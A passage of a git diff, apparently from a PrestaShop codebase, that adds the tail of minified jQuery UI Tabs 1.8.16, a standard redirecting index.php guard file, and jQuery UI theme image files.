min-width:18px; } ' + + '.jstree-rtl li { margin-left:0; margin-right:18px; } ' + + '.jstree > ul > li { margin-left:0px; } ' + + '.jstree-rtl > ul > li { margin-right:0px; } ' + + '.jstree ins { display:inline-block; text-decoration:none; width:18px; height:18px; margin:0 0 0 0; padding:0; } ' + + '.jstree a { display:inline-block; line-height:16px; height:16px; color:black; white-space:nowrap; text-decoration:none; padding:1px 2px; margin:0; } ' + + '.jstree a:focus { outline: none; } ' + + '.jstree a > ins { height:16px; width:16px; } ' + + '.jstree a > .jstree-icon { margin-right:3px; } ' + + '.jstree-rtl a > .jstree-icon { margin-left:3px; margin-right:0; } ' + + 'li.jstree-open > ul { display:block; } ' + + 'li.jstree-closed > ul { display:none; } '; + // Correct IE 6 (does not support the > CSS selector) + if(/msie/.test(u) && parseInt(v, 10) == 6) { + is_ie6 = true; + + // fix image flicker and lack of caching + try { + document.execCommand("BackgroundImageCache", false, true); + } catch (err) { } + + css_string += '' + + '.jstree li { height:18px; margin-left:0; margin-right:0; } ' + + '.jstree li li { margin-left:18px; } ' + + '.jstree-rtl li li { margin-left:0px; margin-right:18px; } ' + + 'li.jstree-open ul { display:block; } ' + + 'li.jstree-closed ul { display:none !important; } ' + + '.jstree li a { display:inline; border-width:0 !important; padding:0px 2px !important; } ' + + '.jstree li a ins { height:16px; width:16px; margin-right:3px; } ' + + '.jstree-rtl li a ins { margin-right:0px; margin-left:3px; } '; + } + // Correct IE 7 (shifts anchor nodes onhover) + if(/msie/.test(u) && parseInt(v, 10) == 7) { + is_ie7 = true; + css_string += '.jstree li a { border-width:0 !important; padding:0px 2px !important; } '; + } + // correct ff2 lack of display:inline-block + if(!/compatible/.test(u) && /mozilla/.test(u) && parseFloat(v, 10) < 1.9) { + is_ff2 = true; + css_string += '' + + '.jstree ins { display:-moz-inline-box; } ' + + '.jstree li { line-height:12px; } ' + // WHY?? + '.jstree a { display:-moz-inline-box; } ' + + '.jstree .jstree-no-icons .jstree-checkbox { display:-moz-inline-stack !important; } '; + /* this shouldn't be here as it is theme specific */ + } + // the default stylesheet + $.vakata.css.add_sheet({ str : css_string, title : "jstree" }); + }); + + // core functions (open, close, create, update, delete) + $.jstree.plugin("core", { + __init : function () { + this.data.core.locked = false; + this.data.core.to_open = this.get_settings().core.initially_open; + this.data.core.to_load = this.get_settings().core.initially_load; + }, + defaults : { + html_titles : false, + animation : 500, + initially_open : [], + initially_load : [], + open_parents : true, + notify_plugins : true, + rtl : false, + load_open : false, + strings : { + loading : "Loading ...", + new_node : "New node", + multiple_selection : "Multiple selection" + } + }, + _fn : { + init : function () { + this.set_focus(); + if(this._get_settings().core.rtl) { + this.get_container().addClass("jstree-rtl").css("direction", "rtl"); + } + this.get_container().html(""); + this.data.core.li_height = this.get_container_ul().find("li.jstree-closed, li.jstree-leaf").eq(0).height() || 18; + + this.get_container() + .delegate("li > ins", "click.jstree", $.proxy(function (event) { + var trgt = $(event.target); + // if(trgt.is("ins") && event.pageY - trgt.offset().top < this.data.core.li_height) { this.toggle_node(trgt); } + this.toggle_node(trgt); + }, this)) + .bind("mousedown.jstree", $.proxy(function () { + this.set_focus(); // This used to be setTimeout(set_focus,0) - why? + }, this)) + .bind("dblclick.jstree", function (event) { + var sel; + if(document.selection && document.selection.empty) { document.selection.empty(); } + else { + if(window.getSelection) { + sel = window.getSelection(); + try { + sel.removeAllRanges(); + sel.collapse(); + } catch (err) { } + } + } + }); + if(this._get_settings().core.notify_plugins) { + this.get_container() + .bind("load_node.jstree", $.proxy(function (e, data) { + var o = this._get_node(data.rslt.obj), + t = this; + if(o === -1) { o = this.get_container_ul(); } + if(!o.length) { return; } + o.find("li").each(function () { + var th = $(this); + if(th.data("jstree")) { + $.each(th.data("jstree"), function (plugin, values) { + if(t.data[plugin] && $.isFunction(t["_" + plugin + "_notify"])) { + t["_" + plugin + "_notify"].call(t, th, values); + } + }); + } + }); + }, this)); + } + if(this._get_settings().core.load_open) { + this.get_container() + .bind("load_node.jstree", $.proxy(function (e, data) { + var o = this._get_node(data.rslt.obj), + t = this; + if(o === -1) { o = this.get_container_ul(); } + if(!o.length) { return; } + o.find("li.jstree-open:not(:has(ul))").each(function () { + t.load_node(this, $.noop, $.noop); + }); + }, this)); + } + this.__callback(); + this.load_node(-1, function () { this.loaded(); this.reload_nodes(); }); + }, + destroy : function () { + var i, + n = this.get_index(), + s = this._get_settings(), + _this = this; + + $.each(s.plugins, function (i, val) { + try { plugins[val].__destroy.apply(_this); } catch(err) { } + }); + this.__callback(); + // set focus to another instance if this one is focused + if(this.is_focused()) { + for(i in instances) { + if(instances.hasOwnProperty(i) && i != n) { + instances[i].set_focus(); + break; + } + } + } + // if no other instance found + if(n === focused_instance) { focused_instance = -1; } + // remove all traces of jstree in the DOM (only the ones set using jstree*) and cleans all events + this.get_container() + .unbind(".jstree") + .undelegate(".jstree") + .removeData("jstree_instance_id") + .find("[class^='jstree']") + .andSelf() + .attr("class", function () { return this.className.replace(/jstree[^ ]*|$/ig,''); }); + $(document) + .unbind(".jstree-" + n) + .undelegate(".jstree-" + n); + // remove the actual data + instances[n] = null; + delete instances[n]; + }, + + _core_notify : function (n, data) { + if(data.opened) { + this.open_node(n, false, true); + } + }, + + lock : function () { + this.data.core.locked = true; + this.get_container().children("ul").addClass("jstree-locked").css("opacity","0.7"); + this.__callback({}); + }, + unlock : function () { + this.data.core.locked = false; + this.get_container().children("ul").removeClass("jstree-locked").css("opacity","1"); + this.__callback({}); + }, + is_locked : function () { return this.data.core.locked; }, + save_opened : function () { + var _this = this; + this.data.core.to_open = []; + this.get_container_ul().find("li.jstree-open").each(function () { + if(this.id) { _this.data.core.to_open.push("#" + this.id.toString().replace(/^#/,"").replace(/\\\//g,"/").replace(/\//g,"\\\/").replace(/\\\./g,".").replace(/\./g,"\\.").replace(/\:/g,"\\:")); } + }); + this.__callback(_this.data.core.to_open); + }, + save_loaded : function () { }, + reload_nodes : function (is_callback) { + var _this = this, + done = true, + current = [], + remaining = []; + if(!is_callback) { + this.data.core.reopen = false; + this.data.core.refreshing = true; + this.data.core.to_open = $.map($.makeArray(this.data.core.to_open), function (n) { return "#" + n.toString().replace(/^#/,"").replace(/\\\//g,"/").replace(/\//g,"\\\/").replace(/\\\./g,".").replace(/\./g,"\\.").replace(/\:/g,"\\:"); }); + this.data.core.to_load = $.map($.makeArray(this.data.core.to_load), function (n) { return "#" + n.toString().replace(/^#/,"").replace(/\\\//g,"/").replace(/\//g,"\\\/").replace(/\\\./g,".").replace(/\./g,"\\.").replace(/\:/g,"\\:"); }); + if(this.data.core.to_open.length) { + this.data.core.to_load = this.data.core.to_load.concat(this.data.core.to_open); + } + } + if(this.data.core.to_load.length) { + $.each(this.data.core.to_load, function (i, val) { + if(val == "#") { return true; } + if($(val).length) { current.push(val); } + else { remaining.push(val); } + }); + if(current.length) { + this.data.core.to_load = remaining; + $.each(current, function (i, val) { + if(!_this._is_loaded(val)) { + _this.load_node(val, function () { _this.reload_nodes(true); }, function () { _this.reload_nodes(true); }); + done = false; + } + }); + } + } + if(this.data.core.to_open.length) { + $.each(this.data.core.to_open, function (i, val) { + _this.open_node(val, false, true); + }); + } + if(done) { + // TODO: find a more elegant approach to syncronizing returning requests + if(this.data.core.reopen) { clearTimeout(this.data.core.reopen); } + this.data.core.reopen = setTimeout(function () { _this.__callback({}, _this); }, 50); + this.data.core.refreshing = false; + this.reopen(); + } + }, + reopen : function () { + var _this = this; + if(this.data.core.to_open.length) { + $.each(this.data.core.to_open, function (i, val) { + _this.open_node(val, false, true); + }); + } + this.__callback({}); + }, + refresh : function (obj) { + var _this = this; + this.save_opened(); + if(!obj) { obj = -1; } + obj = this._get_node(obj); + if(!obj) { obj = -1; } + if(obj !== -1) { obj.children("UL").remove(); } + else { this.get_container_ul().empty(); } + this.load_node(obj, function () { _this.__callback({ "obj" : obj}); _this.reload_nodes(); }); + }, + // Dummy function to fire after the first load (so that there is a jstree.loaded event) + loaded : function () { + this.__callback(); + }, + // deal with focus + set_focus : function () { + if(this.is_focused()) { return; } + var f = $.jstree._focused(); + if(f) { f.unset_focus(); } + + this.get_container().addClass("jstree-focused"); + focused_instance = this.get_index(); + this.__callback(); + }, + is_focused : function () { + return focused_instance == this.get_index(); + }, + unset_focus : function () { + if(this.is_focused()) { + this.get_container().removeClass("jstree-focused"); + focused_instance = -1; + } + this.__callback(); + }, + + // traverse + _get_node : function (obj) { + var $obj = $(obj, this.get_container()); + if($obj.is(".jstree") || obj == -1) { return -1; } + $obj = $obj.closest("li", this.get_container()); + return $obj.length ? $obj : false; + }, + _get_next : function (obj, strict) { + obj = this._get_node(obj); + if(obj === -1) { return this.get_container().find("> ul > li:first-child"); } + if(!obj.length) { return false; } + if(strict) { return (obj.nextAll("li").size() > 0) ? obj.nextAll("li:eq(0)") : false; } + + if(obj.hasClass("jstree-open")) { return obj.find("li:eq(0)"); } + else if(obj.nextAll("li").size() > 0) { return obj.nextAll("li:eq(0)"); } + else { return obj.parentsUntil(".jstree","li").next("li").eq(0); } + }, + _get_prev : function (obj, strict) { + obj = this._get_node(obj); + if(obj === -1) { return this.get_container().find("> ul > li:last-child"); } + if(!obj.length) { return false; } + if(strict) { return (obj.prevAll("li").length > 0) ? obj.prevAll("li:eq(0)") : false; } + + if(obj.prev("li").length) { + obj = obj.prev("li").eq(0); + while(obj.hasClass("jstree-open")) { obj = obj.children("ul:eq(0)").children("li:last"); } + return obj; + } + else { var o = obj.parentsUntil(".jstree","li:eq(0)"); return o.length ? o : false; } + }, + _get_parent : function (obj) { + obj = this._get_node(obj); + if(obj == -1 || !obj.length) { return false; } + var o = obj.parentsUntil(".jstree", "li:eq(0)"); + return o.length ? o : -1; + }, + _get_children : function (obj) { + obj = this._get_node(obj); + if(obj === -1) { return this.get_container().children("ul:eq(0)").children("li"); } + if(!obj.length) { return false; } + return obj.children("ul:eq(0)").children("li"); + }, + get_path : function (obj, id_mode) { + var p = [], + _this = this; + obj = this._get_node(obj); + if(obj === -1 || !obj || !obj.length) { return false; } + obj.parentsUntil(".jstree", "li").each(function () { + p.push( id_mode ? this.id : _this.get_text(this) ); + }); + p.reverse(); + p.push( id_mode ? obj.attr("id") : this.get_text(obj) ); + return p; + }, + + // string functions + _get_string : function (key) { + return this._get_settings().core.strings[key] || key; + }, + + is_open : function (obj) { obj = this._get_node(obj); return obj && obj !== -1 && obj.hasClass("jstree-open"); }, + is_closed : function (obj) { obj = this._get_node(obj); return obj && obj !== -1 && obj.hasClass("jstree-closed"); }, + is_leaf : function (obj) { obj = this._get_node(obj); return obj && obj !== -1 && obj.hasClass("jstree-leaf"); }, + correct_state : function (obj) { + obj = this._get_node(obj); + if(!obj || obj === -1) { return false; } + obj.removeClass("jstree-closed jstree-open").addClass("jstree-leaf").children("ul").remove(); + this.__callback({ "obj" : obj }); + }, + // open/close + open_node : function (obj, callback, skip_animation) { + obj = this._get_node(obj); + if(!obj.length) { return false; } + if(!obj.hasClass("jstree-closed")) { if(callback) { callback.call(); } return false; } + var s = skip_animation || is_ie6 ? 0 : this._get_settings().core.animation, + t = this; + if(!this._is_loaded(obj)) { + obj.children("a").addClass("jstree-loading"); + this.load_node(obj, function () { t.open_node(obj, callback, skip_animation); }, callback); + } + else { + if(this._get_settings().core.open_parents) { + obj.parentsUntil(".jstree",".jstree-closed").each(function () { + t.open_node(this, false, true); + }); + } + if(s) { obj.children("ul").css("display","none"); } + obj.removeClass("jstree-closed").addClass("jstree-open").children("a").removeClass("jstree-loading"); + if(s) { obj.children("ul").stop(true, true).slideDown(s, function () { this.style.display = ""; t.after_open(obj); }); } + else { t.after_open(obj); } + this.__callback({ "obj" : obj }); + if(callback) { callback.call(); } + } + }, + after_open : function (obj) { this.__callback({ "obj" : obj }); }, + close_node : function (obj, skip_animation) { + obj = this._get_node(obj); + var s = skip_animation || is_ie6 ? 0 : this._get_settings().core.animation, + t = this; + if(!obj.length || !obj.hasClass("jstree-open")) { return false; } + if(s) { obj.children("ul").attr("style","display:block !important"); } + obj.removeClass("jstree-open").addClass("jstree-closed"); + if(s) { obj.children("ul").stop(true, true).slideUp(s, function () { this.style.display = ""; t.after_close(obj); }); } + else { t.after_close(obj); } + this.__callback({ "obj" : obj }); + }, + after_close : function (obj) { this.__callback({ "obj" : obj }); }, + toggle_node : function (obj) { + obj = this._get_node(obj); + if(obj.hasClass("jstree-closed")) { return this.open_node(obj); } + if(obj.hasClass("jstree-open")) { return this.close_node(obj); } + }, + open_all : function (obj, do_animation, original_obj) { + obj = obj ? this._get_node(obj) : -1; + if(!obj || obj === -1) { obj = this.get_container_ul(); } + if(original_obj) { + obj = obj.find("li.jstree-closed"); + } + else { + original_obj = obj; + if(obj.is(".jstree-closed")) { obj = obj.find("li.jstree-closed").andSelf(); } + else { obj = obj.find("li.jstree-closed"); } + } + var _this = this; + obj.each(function () { + var __this = this; + if(!_this._is_loaded(this)) { _this.open_node(this, function() { _this.open_all(__this, do_animation, original_obj); }, !do_animation); } + else { _this.open_node(this, false, !do_animation); } + }); + // so that callback is fired AFTER all nodes are open + if(original_obj.find('li.jstree-closed').length === 0) { this.__callback({ "obj" : original_obj }); } + }, + close_all : function (obj, do_animation) { + var _this = this; + obj = obj ? this._get_node(obj) : this.get_container(); + if(!obj || obj === -1) { obj = this.get_container_ul(); } + obj.find("li.jstree-open").andSelf().each(function () { _this.close_node(this, !do_animation); }); + this.__callback({ "obj" : obj }); + }, + clean_node : function (obj) { + obj = obj && obj != -1 ? $(obj) : this.get_container_ul(); + obj = obj.is("li") ? obj.find("li").andSelf() : obj.find("li"); + obj.removeClass("jstree-last") + .filter("li:last-child").addClass("jstree-last").end() + .filter(":has(li)") + .not(".jstree-open").removeClass("jstree-leaf").addClass("jstree-closed"); + obj.not(".jstree-open, .jstree-closed").addClass("jstree-leaf").children("ul").remove(); + this.__callback({ "obj" : obj }); + }, + // rollback + get_rollback : function () { + this.__callback(); + return { i : this.get_index(), h : this.get_container().children("ul").clone(true), d : this.data }; + }, + set_rollback : function (html, data) { + this.get_container().empty().append(html); + this.data = data; + this.__callback(); + }, + // Dummy functions to be overwritten by any datastore plugin included + load_node : function (obj, s_call, e_call) { this.__callback({ "obj" : obj }); }, + _is_loaded : function (obj) { return true; }, + + // Basic operations: create + create_node : function (obj, position, js, callback, is_loaded) { + obj = this._get_node(obj); + position = typeof position === "undefined" ? "last" : position; + var d = $("
  • "), + s = this._get_settings().core, + tmp; + + if(obj !== -1 && !obj.length) { return false; } + if(!is_loaded && !this._is_loaded(obj)) { this.load_node(obj, function () { this.create_node(obj, position, js, callback, true); }); return false; } + + this.__rollback(); + + if(typeof js === "string") { js = { "data" : js }; } + if(!js) { js = {}; } + if(js.attr) { d.attr(js.attr); } + if(js.metadata) { d.data(js.metadata); } + if(js.state) { d.addClass("jstree-" + js.state); } + if(!js.data) { js.data = this._get_string("new_node"); } + if(!$.isArray(js.data)) { tmp = js.data; js.data = []; js.data.push(tmp); } + $.each(js.data, function (i, m) { + tmp = $(""); + if($.isFunction(m)) { m = m.call(this, js); } + if(typeof m == "string") { tmp.attr('href','#')[ s.html_titles ? "html" : "text" ](m); } + else { + if(!m.attr) { m.attr = {}; } + if(!m.attr.href) { m.attr.href = '#'; } + tmp.attr(m.attr)[ s.html_titles ? "html" : "text" ](m.title); + if(m.language) { tmp.addClass(m.language); } + } + tmp.prepend(" "); + if(!m.icon && js.icon) { m.icon = js.icon; } + if(m.icon) { + if(m.icon.indexOf("/") === -1) { tmp.children("ins").addClass(m.icon); } + else { tmp.children("ins").css("background","url('" + m.icon + "') center center no-repeat"); } + } + d.append(tmp); + }); + d.prepend(" "); + if(obj === -1) { + obj = this.get_container(); + if(position === "before") { position = "first"; } + if(position === "after") { position = "last"; } + } + switch(position) { + case "before": obj.before(d); tmp = this._get_parent(obj); break; + case "after" : obj.after(d); tmp = this._get_parent(obj); break; + case "inside": + case "first" : + if(!obj.children("ul").length) { obj.append("
  • ",remove:null,select:null,show:null,spinner:"Loading…",tabTemplate:"
  • #{label}
  • "},_create:function(){this._tabify(true)},_setOption:function(b,e){if(b=="selected")this.options.collapsible&& +e==this.options.selected||this.select(e);else{this.options[b]=e;this._tabify()}},_tabId:function(b){return b.title&&b.title.replace(/\s/g,"_").replace(/[^\w\u00c0-\uFFFF-]/g,"")||this.options.idPrefix+u()},_sanitizeSelector:function(b){return b.replace(/:/g,"\\:")},_cookie:function(){var b=this.cookie||(this.cookie=this.options.cookie.name||"ui-tabs-"+w());return d.cookie.apply(null,[b].concat(d.makeArray(arguments)))},_ui:function(b,e){return{tab:b,panel:e,index:this.anchors.index(b)}},_cleanup:function(){this.lis.filter(".ui-state-processing").removeClass("ui-state-processing").find("span:data(label.tabs)").each(function(){var b= +d(this);b.html(b.data("label.tabs")).removeData("label.tabs")})},_tabify:function(b){function e(g,f){g.css("display","");!d.support.opacity&&f.opacity&&g[0].style.removeAttribute("filter")}var a=this,c=this.options,h=/^#.+/;this.list=this.element.find("ol,ul").eq(0);this.lis=d(" > li:has(a[href])",this.list);this.anchors=this.lis.map(function(){return d("a",this)[0]});this.panels=d([]);this.anchors.each(function(g,f){var i=d(f).attr("href"),l=i.split("#")[0],q;if(l&&(l===location.toString().split("#")[0]|| +(q=d("base")[0])&&l===q.href)){i=f.hash;f.href=i}if(h.test(i))a.panels=a.panels.add(a.element.find(a._sanitizeSelector(i)));else if(i&&i!=="#"){d.data(f,"href.tabs",i);d.data(f,"load.tabs",i.replace(/#.*$/,""));i=a._tabId(f);f.href="#"+i;f=a.element.find("#"+i);if(!f.length){f=d(c.panelTemplate).attr("id",i).addClass("ui-tabs-panel ui-widget-content ui-corner-bottom").insertAfter(a.panels[g-1]||a.list);f.data("destroy.tabs",true)}a.panels=a.panels.add(f)}else c.disabled.push(g)});if(b){this.element.addClass("ui-tabs ui-widget ui-widget-content ui-corner-all"); +this.list.addClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.lis.addClass("ui-state-default ui-corner-top");this.panels.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom");if(c.selected===p){location.hash&&this.anchors.each(function(g,f){if(f.hash==location.hash){c.selected=g;return false}});if(typeof c.selected!=="number"&&c.cookie)c.selected=parseInt(a._cookie(),10);if(typeof c.selected!=="number"&&this.lis.filter(".ui-tabs-selected").length)c.selected= +this.lis.index(this.lis.filter(".ui-tabs-selected"));c.selected=c.selected||(this.lis.length?0:-1)}else if(c.selected===null)c.selected=-1;c.selected=c.selected>=0&&this.anchors[c.selected]||c.selected<0?c.selected:0;c.disabled=d.unique(c.disabled.concat(d.map(this.lis.filter(".ui-state-disabled"),function(g){return a.lis.index(g)}))).sort();d.inArray(c.selected,c.disabled)!=-1&&c.disabled.splice(d.inArray(c.selected,c.disabled),1);this.panels.addClass("ui-tabs-hide");this.lis.removeClass("ui-tabs-selected ui-state-active"); +if(c.selected>=0&&this.anchors.length){a.element.find(a._sanitizeSelector(a.anchors[c.selected].hash)).removeClass("ui-tabs-hide");this.lis.eq(c.selected).addClass("ui-tabs-selected ui-state-active");a.element.queue("tabs",function(){a._trigger("show",null,a._ui(a.anchors[c.selected],a.element.find(a._sanitizeSelector(a.anchors[c.selected].hash))[0]))});this.load(c.selected)}d(window).bind("unload",function(){a.lis.add(a.anchors).unbind(".tabs");a.lis=a.anchors=a.panels=null})}else c.selected=this.lis.index(this.lis.filter(".ui-tabs-selected")); +this.element[c.collapsible?"addClass":"removeClass"]("ui-tabs-collapsible");c.cookie&&this._cookie(c.selected,c.cookie);b=0;for(var j;j=this.lis[b];b++)d(j)[d.inArray(b,c.disabled)!=-1&&!d(j).hasClass("ui-tabs-selected")?"addClass":"removeClass"]("ui-state-disabled");c.cache===false&&this.anchors.removeData("cache.tabs");this.lis.add(this.anchors).unbind(".tabs");if(c.event!=="mouseover"){var k=function(g,f){f.is(":not(.ui-state-disabled)")&&f.addClass("ui-state-"+g)},n=function(g,f){f.removeClass("ui-state-"+ +g)};this.lis.bind("mouseover.tabs",function(){k("hover",d(this))});this.lis.bind("mouseout.tabs",function(){n("hover",d(this))});this.anchors.bind("focus.tabs",function(){k("focus",d(this).closest("li"))});this.anchors.bind("blur.tabs",function(){n("focus",d(this).closest("li"))})}var m,o;if(c.fx)if(d.isArray(c.fx)){m=c.fx[0];o=c.fx[1]}else m=o=c.fx;var r=o?function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.hide().removeClass("ui-tabs-hide").animate(o,o.duration||"normal", +function(){e(f,o);a._trigger("show",null,a._ui(g,f[0]))})}:function(g,f){d(g).closest("li").addClass("ui-tabs-selected ui-state-active");f.removeClass("ui-tabs-hide");a._trigger("show",null,a._ui(g,f[0]))},s=m?function(g,f){f.animate(m,m.duration||"normal",function(){a.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");e(f,m);a.element.dequeue("tabs")})}:function(g,f){a.lis.removeClass("ui-tabs-selected ui-state-active");f.addClass("ui-tabs-hide");a.element.dequeue("tabs")}; +this.anchors.bind(c.event+".tabs",function(){var g=this,f=d(g).closest("li"),i=a.panels.filter(":not(.ui-tabs-hide)"),l=a.element.find(a._sanitizeSelector(g.hash));if(f.hasClass("ui-tabs-selected")&&!c.collapsible||f.hasClass("ui-state-disabled")||f.hasClass("ui-state-processing")||a.panels.filter(":animated").length||a._trigger("select",null,a._ui(this,l[0]))===false){this.blur();return false}c.selected=a.anchors.index(this);a.abort();if(c.collapsible)if(f.hasClass("ui-tabs-selected")){c.selected= +-1;c.cookie&&a._cookie(c.selected,c.cookie);a.element.queue("tabs",function(){s(g,i)}).dequeue("tabs");this.blur();return false}else if(!i.length){c.cookie&&a._cookie(c.selected,c.cookie);a.element.queue("tabs",function(){r(g,l)});a.load(a.anchors.index(this));this.blur();return false}c.cookie&&a._cookie(c.selected,c.cookie);if(l.length){i.length&&a.element.queue("tabs",function(){s(g,i)});a.element.queue("tabs",function(){r(g,l)});a.load(a.anchors.index(this))}else throw"jQuery UI Tabs: Mismatching fragment identifier."; +d.browser.msie&&this.blur()});this.anchors.bind("click.tabs",function(){return false})},_getIndex:function(b){if(typeof b=="string")b=this.anchors.index(this.anchors.filter("[href$="+b+"]"));return b},destroy:function(){var b=this.options;this.abort();this.element.unbind(".tabs").removeClass("ui-tabs ui-widget ui-widget-content ui-corner-all ui-tabs-collapsible").removeData("tabs");this.list.removeClass("ui-tabs-nav ui-helper-reset ui-helper-clearfix ui-widget-header ui-corner-all");this.anchors.each(function(){var e= +d.data(this,"href.tabs");if(e)this.href=e;var a=d(this).unbind(".tabs");d.each(["href","load","cache"],function(c,h){a.removeData(h+".tabs")})});this.lis.unbind(".tabs").add(this.panels).each(function(){d.data(this,"destroy.tabs")?d(this).remove():d(this).removeClass("ui-state-default ui-corner-top ui-tabs-selected ui-state-active ui-state-hover ui-state-focus ui-state-disabled ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide")});b.cookie&&this._cookie(null,b.cookie);return this},add:function(b, +e,a){if(a===p)a=this.anchors.length;var c=this,h=this.options;e=d(h.tabTemplate.replace(/#\{href\}/g,b).replace(/#\{label\}/g,e));b=!b.indexOf("#")?b.replace("#",""):this._tabId(d("a",e)[0]);e.addClass("ui-state-default ui-corner-top").data("destroy.tabs",true);var j=c.element.find("#"+b);j.length||(j=d(h.panelTemplate).attr("id",b).data("destroy.tabs",true));j.addClass("ui-tabs-panel ui-widget-content ui-corner-bottom ui-tabs-hide");if(a>=this.lis.length){e.appendTo(this.list);j.appendTo(this.list[0].parentNode)}else{e.insertBefore(this.lis[a]); +j.insertBefore(this.panels[a])}h.disabled=d.map(h.disabled,function(k){return k>=a?++k:k});this._tabify();if(this.anchors.length==1){h.selected=0;e.addClass("ui-tabs-selected ui-state-active");j.removeClass("ui-tabs-hide");this.element.queue("tabs",function(){c._trigger("show",null,c._ui(c.anchors[0],c.panels[0]))});this.load(0)}this._trigger("add",null,this._ui(this.anchors[a],this.panels[a]));return this},remove:function(b){b=this._getIndex(b);var e=this.options,a=this.lis.eq(b).remove(),c=this.panels.eq(b).remove(); +if(a.hasClass("ui-tabs-selected")&&this.anchors.length>1)this.select(b+(b+1=b?--h:h});this._tabify();this._trigger("remove",null,this._ui(a.find("a")[0],c[0]));return this},enable:function(b){b=this._getIndex(b);var e=this.options;if(d.inArray(b,e.disabled)!=-1){this.lis.eq(b).removeClass("ui-state-disabled");e.disabled=d.grep(e.disabled,function(a){return a!=b});this._trigger("enable",null, +this._ui(this.anchors[b],this.panels[b]));return this}},disable:function(b){b=this._getIndex(b);var e=this.options;if(b!=e.selected){this.lis.eq(b).addClass("ui-state-disabled");e.disabled.push(b);e.disabled.sort();this._trigger("disable",null,this._ui(this.anchors[b],this.panels[b]))}return this},select:function(b){b=this._getIndex(b);if(b==-1)if(this.options.collapsible&&this.options.selected!=-1)b=this.options.selected;else return this;this.anchors.eq(b).trigger(this.options.event+".tabs");return this}, +load:function(b){b=this._getIndex(b);var e=this,a=this.options,c=this.anchors.eq(b)[0],h=d.data(c,"load.tabs");this.abort();if(!h||this.element.queue("tabs").length!==0&&d.data(c,"cache.tabs"))this.element.dequeue("tabs");else{this.lis.eq(b).addClass("ui-state-processing");if(a.spinner){var j=d("span",c);j.data("label.tabs",j.html()).html(a.spinner)}this.xhr=d.ajax(d.extend({},a.ajaxOptions,{url:h,success:function(k,n){e.element.find(e._sanitizeSelector(c.hash)).html(k);e._cleanup();a.cache&&d.data(c, +"cache.tabs",true);e._trigger("load",null,e._ui(e.anchors[b],e.panels[b]));try{a.ajaxOptions.success(k,n)}catch(m){}},error:function(k,n){e._cleanup();e._trigger("load",null,e._ui(e.anchors[b],e.panels[b]));try{a.ajaxOptions.error(k,n,b,c)}catch(m){}}}));e.element.dequeue("tabs");return this}},abort:function(){this.element.queue([]);this.panels.stop(false,true);this.element.queue("tabs",this.element.queue("tabs").splice(-2,2));if(this.xhr){this.xhr.abort();delete this.xhr}this._cleanup();return this}, +url:function(b,e){this.anchors.eq(b).removeData("cache.tabs").data("load.tabs",e);return this},length:function(){return this.anchors.length}});d.extend(d.ui.tabs,{version:"1.8.16"});d.extend(d.ui.tabs.prototype,{rotation:null,rotate:function(b,e){var a=this,c=this.options,h=a._rotate||(a._rotate=function(j){clearTimeout(a.rotation);a.rotation=setTimeout(function(){var k=c.selected;a.select(++k +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/jquery/ui/themes/base/images/ui-bg_flat_0_aaaaaa_40x100.png b/js/jquery/ui/themes/base/images/ui-bg_flat_0_aaaaaa_40x100.png new file mode 100755 index 0000000..5b5dab2 Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-bg_flat_0_aaaaaa_40x100.png differ diff --git a/js/jquery/ui/themes/base/images/ui-bg_flat_75_ffffff_40x100.png b/js/jquery/ui/themes/base/images/ui-bg_flat_75_ffffff_40x100.png new file mode 100755 index 0000000..ac8b229 Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-bg_flat_75_ffffff_40x100.png differ diff --git a/js/jquery/ui/themes/base/images/ui-bg_glass_55_fbf9ee_1x400.png b/js/jquery/ui/themes/base/images/ui-bg_glass_55_fbf9ee_1x400.png new file mode 100755 index 0000000..ad3d634 Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-bg_glass_55_fbf9ee_1x400.png differ diff --git a/js/jquery/ui/themes/base/images/ui-bg_glass_65_ffffff_1x400.png b/js/jquery/ui/themes/base/images/ui-bg_glass_65_ffffff_1x400.png new file mode 100755 index 0000000..42ccba2 Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-bg_glass_65_ffffff_1x400.png differ diff --git a/js/jquery/ui/themes/base/images/ui-bg_glass_75_dadada_1x400.png b/js/jquery/ui/themes/base/images/ui-bg_glass_75_dadada_1x400.png new file mode 100755 index 0000000..5a46b47 Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-bg_glass_75_dadada_1x400.png differ diff --git a/js/jquery/ui/themes/base/images/ui-bg_glass_75_e6e6e6_1x400.png b/js/jquery/ui/themes/base/images/ui-bg_glass_75_e6e6e6_1x400.png new file mode 100755 index 0000000..86c2baa Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-bg_glass_75_e6e6e6_1x400.png differ diff --git a/js/jquery/ui/themes/base/images/ui-bg_glass_95_fef1ec_1x400.png b/js/jquery/ui/themes/base/images/ui-bg_glass_95_fef1ec_1x400.png new file mode 100755 index 0000000..4443fdc Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-bg_glass_95_fef1ec_1x400.png differ diff --git a/js/jquery/ui/themes/base/images/ui-bg_highlight-soft_75_cccccc_1x100.png b/js/jquery/ui/themes/base/images/ui-bg_highlight-soft_75_cccccc_1x100.png new file mode 100755 index 0000000..7c9fa6c Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-bg_highlight-soft_75_cccccc_1x100.png differ diff --git a/js/jquery/ui/themes/base/images/ui-icons_222222_256x240.png b/js/jquery/ui/themes/base/images/ui-icons_222222_256x240.png new file mode 100755 index 0000000..ee039dc Binary files /dev/null and b/js/jquery/ui/themes/base/images/ui-icons_222222_256x240.png differ diff --git a/js/jquery/ui/themes/base/images/ui-icons_2e83ff_256x240.png 